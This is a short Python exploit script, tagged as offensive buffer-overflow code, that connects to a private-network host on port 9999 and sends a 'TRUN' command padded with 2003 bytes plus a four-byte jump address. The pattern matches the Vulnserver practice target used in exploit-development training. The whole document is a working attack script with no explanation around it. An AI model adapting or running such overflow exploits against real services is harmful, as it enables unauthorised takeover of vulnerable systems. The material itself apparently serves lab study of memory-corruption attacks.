tags : jump buffer_overflow python_offensive


#!/usr/bin/python3
import sys, socket
 
shellcode = b"C" * 2003 + b"\xaf\x11\x50\x62"
 
try:
    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    soc.connect(('10.10.1.11', 9999))
    pyload = b'TRUN /.:/' + shellcode
    soc.send(pyload)
    soc.close()
except:
    print("Error: Unable to establish connection with Server")
    sys.exit()